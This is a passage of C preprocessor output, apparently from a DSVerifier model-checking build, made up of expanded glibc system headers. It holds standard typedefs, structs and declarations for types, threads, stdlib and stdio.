# 59 "/usr/include/x86_64-linux-gnu/sys/types.h" 3 4
typedef __dev_t dev_t;
typedef __gid_t gid_t;
typedef __mode_t mode_t;
typedef __nlink_t nlink_t;
typedef __uid_t uid_t;
typedef __off_t off_t;
# 97 "/usr/include/x86_64-linux-gnu/sys/types.h" 3 4
typedef __pid_t pid_t;
typedef __id_t id_t;
typedef __ssize_t ssize_t;
typedef __daddr_t daddr_t;
typedef __caddr_t caddr_t;
typedef __key_t key_t;
# 1 "/usr/include/x86_64-linux-gnu/bits/types/clock_t.h" 1 3 4
typedef __clock_t clock_t;
# 127 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/clockid_t.h" 1 3 4
typedef __clockid_t clockid_t;
# 129 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/time_t.h" 1 3 4
typedef __time_t time_t;
# 130 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/timer_t.h" 1 3 4
typedef __timer_t timer_t;
# 131 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
# 144 "/usr/include/x86_64-linux-gnu/sys/types.h" 3 4
# 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 1 3 4
# 145 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
typedef unsigned long int ulong;
typedef unsigned short int ushort;
typedef unsigned int uint;
# 1 "/usr/include/x86_64-linux-gnu/bits/stdint-intn.h" 1 3 4
# 24 "/usr/include/x86_64-linux-gnu/bits/stdint-intn.h" 3 4
typedef __int8_t int8_t;
typedef __int16_t int16_t;
typedef __int32_t int32_t;
typedef __int64_t int64_t;
# 156 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
typedef __uint8_t u_int8_t;
typedef __uint16_t u_int16_t;
typedef __uint32_t u_int32_t;
typedef __uint64_t u_int64_t;
typedef int register_t __attribute__ ((__mode__ (__word__)));
# 176 "/usr/include/x86_64-linux-gnu/sys/types.h" 3 4
# 1 "/usr/include/endian.h" 1 3 4
# 24 "/usr/include/endian.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/endian.h" 1 3 4
# 35 "/usr/include/x86_64-linux-gnu/bits/endian.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/endianness.h" 1 3 4
# 36 "/usr/include/x86_64-linux-gnu/bits/endian.h" 2 3 4
# 25 "/usr/include/endian.h" 2 3 4
# 35 "/usr/include/endian.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/byteswap.h" 1 3 4
# 33 "/usr/include/x86_64-linux-gnu/bits/byteswap.h" 3 4
static __inline __uint16_t
__bswap_16 (__uint16_t __bsx)
{
return __builtin_bswap16 (__bsx);
}
static __inline __uint32_t
__bswap_32 (__uint32_t __bsx)
{
return __builtin_bswap32 (__bsx);
}
# 69 "/usr/include/x86_64-linux-gnu/bits/byteswap.h" 3 4
__extension__ static __inline __uint64_t
__bswap_64 (__uint64_t __bsx)
{
return __builtin_bswap64 (__bsx);
}
# 36 "/usr/include/endian.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/uintn-identity.h" 1 3 4
# 32 "/usr/include/x86_64-linux-gnu/bits/uintn-identity.h" 3 4
static __inline __uint16_t
__uint16_identity (__uint16_t __x)
{
return __x;
}
static __inline __uint32_t
__uint32_identity (__uint32_t __x)
{
return __x;
}
static __inline __uint64_t
__uint64_identity (__uint64_t __x)
{
return __x;
}
# 37 "/usr/include/endian.h" 2 3 4
# 177 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/sys/select.h" 1 3 4
# 30 "/usr/include/x86_64-linux-gnu/sys/select.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/select.h" 1 3 4
# 22 "/usr/include/x86_64-linux-gnu/bits/select.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wordsize.h" 1 3 4
# 23 "/usr/include/x86_64-linux-gnu/bits/select.h" 2 3 4
# 31 "/usr/include/x86_64-linux-gnu/sys/select.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/sigset_t.h" 1 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/__sigset_t.h" 1 3 4
typedef struct
{
unsigned long int __val[(1024 / (8 * sizeof (unsigned long int)))];
} __sigset_t;
# 5 "/usr/include/x86_64-linux-gnu/bits/types/sigset_t.h" 2 3 4
typedef __sigset_t sigset_t;
# 34 "/usr/include/x86_64-linux-gnu/sys/select.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/struct_timeval.h" 1 3 4
struct timeval
{
__time_t tv_sec;
__suseconds_t tv_usec;
};
# 38 "/usr/include/x86_64-linux-gnu/sys/select.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/struct_timespec.h" 1 3 4
# 10 "/usr/include/x86_64-linux-gnu/bits/types/struct_timespec.h" 3 4
struct timespec
{
__time_t tv_sec;
__syscall_slong_t tv_nsec;
# 26 "/usr/include/x86_64-linux-gnu/bits/types/struct_timespec.h" 3 4
};
# 40 "/usr/include/x86_64-linux-gnu/sys/select.h" 2 3 4
typedef __suseconds_t suseconds_t;
typedef long int __fd_mask;
# 59 "/usr/include/x86_64-linux-gnu/sys/select.h" 3 4
typedef struct
{
__fd_mask __fds_bits[1024 / (8 * (int) sizeof (__fd_mask))];
} fd_set;
typedef __fd_mask fd_mask;
# 91 "/usr/include/x86_64-linux-gnu/sys/select.h" 3 4
# 101 "/usr/include/x86_64-linux-gnu/sys/select.h" 3 4
extern int select (int __nfds, fd_set *__restrict __readfds,
fd_set *__restrict __writefds,
fd_set *__restrict __exceptfds,
struct timeval *__restrict __timeout);
# 113 "/usr/include/x86_64-linux-gnu/sys/select.h" 3 4
extern int pselect (int __nfds, fd_set *__restrict __readfds,
fd_set *__restrict __writefds,
fd_set *__restrict __exceptfds,
const struct timespec *__restrict __timeout,
const __sigset_t *__restrict __sigmask);
# 126 "/usr/include/x86_64-linux-gnu/sys/select.h" 3 4
# 180 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
typedef __blksize_t blksize_t;
typedef __blkcnt_t blkcnt_t;
typedef __fsblkcnt_t fsblkcnt_t;
typedef __fsfilcnt_t fsfilcnt_t;
# 227 "/usr/include/x86_64-linux-gnu/sys/types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/pthreadtypes.h" 1 3 4
# 23 "/usr/include/x86_64-linux-gnu/bits/pthreadtypes.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h" 1 3 4
# 44 "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/pthreadtypes-arch.h" 1 3 4
# 21 "/usr/include/x86_64-linux-gnu/bits/pthreadtypes-arch.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wordsize.h" 1 3 4
# 22 "/usr/include/x86_64-linux-gnu/bits/pthreadtypes-arch.h" 2 3 4
# 45 "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h" 2 3 4
typedef struct __pthread_internal_list
{
struct __pthread_internal_list *__prev;
struct __pthread_internal_list *__next;
} __pthread_list_t;
typedef struct __pthread_internal_slist
{
struct __pthread_internal_slist *__next;
} __pthread_slist_t;
# 74 "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/struct_mutex.h" 1 3 4
# 22 "/usr/include/x86_64-linux-gnu/bits/struct_mutex.h" 3 4
struct __pthread_mutex_s
{
int __lock;
unsigned int __count;
int __owner;
unsigned int __nusers;
int __kind;
short __spins;
short __elision;
__pthread_list_t __list;
# 53 "/usr/include/x86_64-linux-gnu/bits/struct_mutex.h" 3 4
};
# 75 "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h" 2 3 4
# 87 "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/struct_rwlock.h" 1 3 4
# 23 "/usr/include/x86_64-linux-gnu/bits/struct_rwlock.h" 3 4
struct __pthread_rwlock_arch_t
{
unsigned int __readers;
unsigned int __writers;
unsigned int __wrphase_futex;
unsigned int __writers_futex;
unsigned int __pad3;
unsigned int __pad4;
int __cur_writer;
int __shared;
signed char __rwelision;
unsigned char __pad1[7];
unsigned long int __pad2;
unsigned int __flags;
# 55 "/usr/include/x86_64-linux-gnu/bits/struct_rwlock.h" 3 4
};
# 88 "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h" 2 3 4
struct __pthread_cond_s
{
__extension__ union
{
__extension__ unsigned long long int __wseq;
struct
{
unsigned int __low;
unsigned int __high;
} __wseq32;
};
__extension__ union
{
__extension__ unsigned long long int __g1_start;
struct
{
unsigned int __low;
unsigned int __high;
} __g1_start32;
};
unsigned int __g_refs[2] ;
unsigned int __g_size[2];
unsigned int __g1_orig_size;
unsigned int __wrefs;
unsigned int __g_signals[2];
};
# 24 "/usr/include/x86_64-linux-gnu/bits/pthreadtypes.h" 2 3 4
typedef unsigned long int pthread_t;
typedef union
{
char __size[4];
int __align;
} pthread_mutexattr_t;
typedef union
{
char __size[4];
int __align;
} pthread_condattr_t;
typedef unsigned int pthread_key_t;
typedef int pthread_once_t;
union pthread_attr_t
{
char __size[56];
long int __align;
};
typedef union pthread_attr_t pthread_attr_t;
typedef union
{
struct __pthread_mutex_s __data;
char __size[40];
long int __align;
} pthread_mutex_t;
typedef union
{
struct __pthread_cond_s __data;
char __size[48];
__extension__ long long int __align;
} pthread_cond_t;
typedef union
{
struct __pthread_rwlock_arch_t __data;
char __size[56];
long int __align;
} pthread_rwlock_t;
typedef union
{
char __size[8];
long int __align;
} pthread_rwlockattr_t;
typedef volatile int pthread_spinlock_t;
typedef union
{
char __size[32];
long int __align;
} pthread_barrier_t;
typedef union
{
char __size[4];
int __align;
} pthread_barrierattr_t;
# 228 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
# 395 "/usr/include/stdlib.h" 2 3 4
extern long int random (void) __attribute__ ((__nothrow__ , __leaf__));
extern void srandom (unsigned int __seed) __attribute__ ((__nothrow__ , __leaf__));
extern char *initstate (unsigned int __seed, char *__statebuf,
size_t __statelen) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2)));
extern char *setstate (char *__statebuf) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
struct random_data
{
int32_t *fptr;
int32_t *rptr;
int32_t *state;
int rand_type;
int rand_deg;
int rand_sep;
int32_t *end_ptr;
};
extern int random_r (struct random_data *__restrict __buf,
int32_t *__restrict __result) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int srandom_r (unsigned int __seed, struct random_data *__buf)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2)));
extern int initstate_r (unsigned int __seed, char *__restrict __statebuf,
size_t __statelen,
struct random_data *__restrict __buf)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2, 4)));
extern int setstate_r (char *__restrict __statebuf,
struct random_data *__restrict __buf)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int rand (void) __attribute__ ((__nothrow__ , __leaf__));
extern void srand (unsigned int __seed) __attribute__ ((__nothrow__ , __leaf__));
extern int rand_r (unsigned int *__seed) __attribute__ ((__nothrow__ , __leaf__));
extern double drand48 (void) __attribute__ ((__nothrow__ , __leaf__));
extern double erand48 (unsigned short int __xsubi[3]) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern long int lrand48 (void) __attribute__ ((__nothrow__ , __leaf__));
extern long int nrand48 (unsigned short int __xsubi[3])
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern long int mrand48 (void) __attribute__ ((__nothrow__ , __leaf__));
extern long int jrand48 (unsigned short int __xsubi[3])
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern void srand48 (long int __seedval) __attribute__ ((__nothrow__ , __leaf__));
extern unsigned short int *seed48 (unsigned short int __seed16v[3])
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern void lcong48 (unsigned short int __param[7]) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
struct drand48_data
{
unsigned short int __x[3];
unsigned short int __old_x[3];
unsigned short int __c;
unsigned short int __init;
__extension__ unsigned long long int __a;
};
extern int drand48_r (struct drand48_data *__restrict __buffer,
double *__restrict __result) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int erand48_r (unsigned short int __xsubi[3],
struct drand48_data *__restrict __buffer,
double *__restrict __result) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int lrand48_r (struct drand48_data *__restrict __buffer,
long int *__restrict __result)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int nrand48_r (unsigned short int __xsubi[3],
struct drand48_data *__restrict __buffer,
long int *__restrict __result)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int mrand48_r (struct drand48_data *__restrict __buffer,
long int *__restrict __result)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int jrand48_r (unsigned short int __xsubi[3],
struct drand48_data *__restrict __buffer,
long int *__restrict __result)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int srand48_r (long int __seedval, struct drand48_data *__buffer)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2)));
extern int seed48_r (unsigned short int __seed16v[3],
struct drand48_data *__buffer) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int lcong48_r (unsigned short int __param[7],
struct drand48_data *__buffer)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern void *malloc (size_t __size) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__))
__attribute__ ((__alloc_size__ (1))) ;
extern void *calloc (size_t __nmemb, size_t __size)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__)) __attribute__ ((__alloc_size__ (1, 2))) ;
extern void *realloc (void *__ptr, size_t __size)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__)) __attribute__ ((__alloc_size__ (2)));
extern void *reallocarray (void *__ptr, size_t __nmemb, size_t __size)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__))
__attribute__ ((__alloc_size__ (2, 3)));
extern void free (void *__ptr) __attribute__ ((__nothrow__ , __leaf__));
# 1 "/usr/include/alloca.h" 1 3 4
# 24 "/usr/include/alloca.h" 3 4
# 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 1 3 4
# 25 "/usr/include/alloca.h" 2 3 4
extern void *alloca (size_t __size) __attribute__ ((__nothrow__ , __leaf__));
# 569 "/usr/include/stdlib.h" 2 3 4
extern void *valloc (size_t __size) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__))
__attribute__ ((__alloc_size__ (1))) ;
extern int posix_memalign (void **__memptr, size_t __alignment, size_t __size)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
extern void *aligned_alloc (size_t __alignment, size_t __size)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__)) __attribute__ ((__alloc_size__ (2))) ;
extern void abort (void) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
extern int atexit (void (*__func) (void)) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern int at_quick_exit (void (*__func) (void)) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern int on_exit (void (*__func) (int __status, void *__arg), void *__arg)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern void exit (int __status) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
extern void quick_exit (int __status) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
extern void _Exit (int __status) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
extern char *getenv (const char *__name) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
# 647 "/usr/include/stdlib.h" 3 4
extern int putenv (char *__string) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern int setenv (const char *__name, const char *__value, int __replace)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2)));
extern int unsetenv (const char *__name) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern int clearenv (void) __attribute__ ((__nothrow__ , __leaf__));
# 675 "/usr/include/stdlib.h" 3 4
extern char *mktemp (char *__template) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
# 688 "/usr/include/stdlib.h" 3 4
extern int mkstemp (char *__template) __attribute__ ((__nonnull__ (1))) ;
# 710 "/usr/include/stdlib.h" 3 4
extern int mkstemps (char *__template, int __suffixlen) __attribute__ ((__nonnull__ (1))) ;
# 731 "/usr/include/stdlib.h" 3 4
extern char *mkdtemp (char *__template) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
# 784 "/usr/include/stdlib.h" 3 4
extern int system (const char *__command) ;
# 800 "/usr/include/stdlib.h" 3 4
extern char *realpath (const char *__restrict __name,
char *__restrict __resolved) __attribute__ ((__nothrow__ , __leaf__)) ;
typedef int (*__compar_fn_t) (const void *, const void *);
# 820 "/usr/include/stdlib.h" 3 4
extern void *bsearch (const void *__key, const void *__base,
size_t __nmemb, size_t __size, __compar_fn_t __compar)
__attribute__ ((__nonnull__ (1, 2, 5))) ;
extern void qsort (void *__base, size_t __nmemb, size_t __size,
__compar_fn_t __compar) __attribute__ ((__nonnull__ (1, 4)));
# 840 "/usr/include/stdlib.h" 3 4
extern int abs (int __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) ;
extern long int labs (long int __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) ;
__extension__ extern long long int llabs (long long int __x)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) ;
extern div_t div (int __numer, int __denom)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) ;
extern ldiv_t ldiv (long int __numer, long int __denom)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) ;
__extension__ extern lldiv_t lldiv (long long int __numer,
long long int __denom)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) ;
# 872 "/usr/include/stdlib.h" 3 4
extern char *ecvt (double __value, int __ndigit, int *__restrict __decpt,
int *__restrict __sign) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4))) ;
extern char *fcvt (double __value, int __ndigit, int *__restrict __decpt,
int *__restrict __sign) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4))) ;
extern char *gcvt (double __value, int __ndigit, char *__buf)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3))) ;
extern char *qecvt (long double __value, int __ndigit,
int *__restrict __decpt, int *__restrict __sign)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4))) ;
extern char *qfcvt (long double __value, int __ndigit,
int *__restrict __decpt, int *__restrict __sign)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4))) ;
extern char *qgcvt (long double __value, int __ndigit, char *__buf)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3))) ;
extern int ecvt_r (double __value, int __ndigit, int *__restrict __decpt,
int *__restrict __sign, char *__restrict __buf,
size_t __len) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4, 5)));
extern int fcvt_r (double __value, int __ndigit, int *__restrict __decpt,
int *__restrict __sign, char *__restrict __buf,
size_t __len) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4, 5)));
extern int qecvt_r (long double __value, int __ndigit,
int *__restrict __decpt, int *__restrict __sign,
char *__restrict __buf, size_t __len)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4, 5)));
extern int qfcvt_r (long double __value, int __ndigit,
int *__restrict __decpt, int *__restrict __sign,
char *__restrict __buf, size_t __len)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4, 5)));
extern int mblen (const char *__s, size_t __n) __attribute__ ((__nothrow__ , __leaf__));
extern int mbtowc (wchar_t *__restrict __pwc,
const char *__restrict __s, size_t __n) __attribute__ ((__nothrow__ , __leaf__));
extern int wctomb (char *__s, wchar_t __wchar) __attribute__ ((__nothrow__ , __leaf__));
extern size_t mbstowcs (wchar_t *__restrict __pwcs,
const char *__restrict __s, size_t __n) __attribute__ ((__nothrow__ , __leaf__));
extern size_t wcstombs (char *__restrict __s,
const wchar_t *__restrict __pwcs, size_t __n)
__attribute__ ((__nothrow__ , __leaf__));
extern int rpmatch (const char *__response) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
# 957 "/usr/include/stdlib.h" 3 4
extern int getsubopt (char **__restrict __optionp,
char *const *__restrict __tokens,
char **__restrict __valuep)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2, 3))) ;
# 1003 "/usr/include/stdlib.h" 3 4
extern int getloadavg (double __loadavg[], int __nelem)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
# 1013 "/usr/include/stdlib.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/stdlib-float.h" 1 3 4
# 1014 "/usr/include/stdlib.h" 2 3 4
# 1023 "/usr/include/stdlib.h" 3 4
# 18 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 2
# 1 "/usr/include/assert.h" 1 3 4
# 66 "/usr/include/assert.h" 3 4
extern void __assert_fail (const char *__assertion, const char *__file,
unsigned int __line, const char *__function)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
extern void __assert_perror_fail (int __errnum, const char *__file,
unsigned int __line, const char *__function)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
extern void __assert (const char *__assertion, const char *__file, int __line)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
# 19 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 2
# 1 "/usr/include/stdio.h" 1 3 4
# 27 "/usr/include/stdio.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/libc-header-start.h" 1 3 4
# 28 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 1 3 4
# 34 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stdarg.h" 1 3 4
# 40 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stdarg.h" 3 4
typedef __builtin_va_list __gnuc_va_list;
# 37 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/__fpos_t.h" 1 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/__mbstate_t.h" 1 3 4
# 13 "/usr/include/x86_64-linux-gnu/bits/types/__mbstate_t.h" 3 4
typedef struct
{
int __count;
union
{
unsigned int __wch;
char __wchb[4];
} __value;
} __mbstate_t;
# 6 "/usr/include/x86_64-linux-gnu/bits/types/__fpos_t.h" 2 3 4
typedef struct _G_fpos_t
{
__off_t __pos;
__mbstate_t __state;
} __fpos_t;
# 40 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/__fpos64_t.h" 1 3 4
# 10 "/usr/include/x86_64-linux-gnu/bits/types/__fpos64_t.h" 3 4
typedef struct _G_fpos64_t
{
__off64_t __pos;
__mbstate_t __state;
} __fpos64_t;
# 41 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/__FILE.h" 1 3 4
struct _IO_FILE;
typedef struct _IO_FILE __FILE;
# 42 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/FILE.h" 1 3 4
struct _IO_FILE;
typedef struct _IO_FILE FILE;
# 43 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/struct_FILE.h" 1 3 4
# 35 "/usr/include/x86_64-linux-gnu/bits/types/struct_FILE.h" 3 4
struct _IO_FILE;
struct _IO_marker;
struct _IO_codecvt;
struct _IO_wide_data;
typedef void _IO_lock_t;
struct _IO_FILE
{
int _flags;
char *_IO_read_ptr;
char *_IO_read_end;
char *_IO_read_base;
char *_IO_write_base;
char *_IO_write_ptr;
char *_IO_write_end;
char *_IO_buf_base;
char *_IO_buf_end;
char *_IO_save_base;
char *_IO_backup_base;
char *_IO_save_end;
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset;
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
__off64_t _offset;
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
size_t __pad5;
int _mode;
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};
# 44 "/usr/include/stdio.h" 2 3 4
# 52 "/usr/include/stdio.h" 3 4
typedef __gnuc_va_list va_list;
# 84 "/usr/include/stdio.h" 3 4
typedef __fpos_t fpos_t;
# 133 "/usr/include/stdio.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/stdio_lim.h" 1 3 4
# 134 "/usr/include/stdio.h" 2 3 4
extern FILE *stdin;
extern FILE *stdout;
extern FILE *stderr;
extern int remove (const char *__filename) __attribute__ ((__nothrow__ , __leaf__));
extern int rename (const char *__old, const char *__new) __attribute__ ((__nothrow__ , __leaf__));
extern int renameat (int __oldfd, const char *__old, int __newfd,
const char *__new) __attribute__ ((__nothrow__ , __leaf__));
# 173 "/usr/include/stdio.h" 3 4
extern FILE *tmpfile (void) ;
# 187 "/usr/include/stdio.h" 3 4
extern char *tmpnam (char *__s) __attribute__ ((__nothrow__ , __leaf__)) ;
extern char *tmpnam_r (char *__s) __attribute__ ((__nothrow__ , __leaf__)) ;
# 204 "/usr/include/stdio.h" 3 4
extern char *tempnam (const char *__dir, const char *__pfx)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__)) ;
extern int fclose (FILE *__stream);
extern int fflush (FILE *__stream);
# 227 "/usr/include/stdio.h" 3 4
extern int fflush_unlocked (FILE *__stream);
# 246 "/usr/include/stdio.h" 3 4
extern FILE *fopen (const char *__restrict __filename,
const char *__restrict __modes) ;
extern FILE *freopen (const char *__restrict __filename,
const char *__restrict __modes,
FILE *__restrict __stream) ;
# 279 "/usr/include/stdio.h" 3 4
extern FILE *fdopen (int __fd, const char *__modes) __attribute__ ((__nothrow__ , __leaf__)) ;
# 292 "/usr/include/stdio.h" 3 4
extern FILE *fmemopen (void *__s, size_t __len, const char *__modes)
__attribute__ ((__nothrow__ , __leaf__)) ;
extern FILE *open_memstream (char **__bufloc, size_t *__sizeloc) __attribute__ ((__nothrow__ , __leaf__)) ;
extern void setbuf (FILE *__restrict __stream, char *__restrict __buf) __attribute__ ((__nothrow__ , __leaf__));
extern int setvbuf (FILE *__restrict __stream, char *__restrict __buf,
int __modes, size_t __n) __attribute__ ((__nothrow__ , __leaf__));
extern void setbuffer (FILE *__restrict __stream, char *__restrict __buf,
size_t __size) __attribute__ ((__nothrow__ , __leaf__));
extern void setlinebuf (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));
extern int fprintf (FILE *__restrict __stream,
const char *__restrict __format, ...);
extern int printf (const char *__restrict __format, ...);
extern int sprintf (char *__restrict __s,
const char *__restrict __format, ...) __attribute__ ((__nothrow__));
extern int vfprintf (FILE *__restrict __s, const char *__restrict __format,
__gnuc_va_list __arg);
extern int vprintf (const char *__restrict __format, __gnuc_va_list __arg);
extern int vsprintf (char *__restrict __s, const char *__restrict __format,
__gnuc_va_list __arg) __attribute__ ((__nothrow__));
extern int snprintf (char *__restrict __s, size_t __maxlen,
const char *__restrict __format, ...)
__attribute__ ((__nothrow__)) __attribute__ ((__format__ (__printf__, 3, 4)));
extern int vsnprintf (char *__restrict __s, size_t __maxlen,
const char *__restrict __format, __gnuc_va_list __arg)
__attribute__ ((__nothrow__)) __attribute__ ((__format__ (__printf__, 3, 0)));
# 379 "/usr/include/stdio.h" 3 4
extern int vdprintf (int __fd, const char *__restrict __fmt,
__gnuc_va_list __arg)
__attribute__ ((__format__ (__printf__, 2, 0)));
extern int dprintf (int __fd, const char *__restrict __fmt, ...)
__attribute__ ((__format__ (__printf__, 2, 3)));
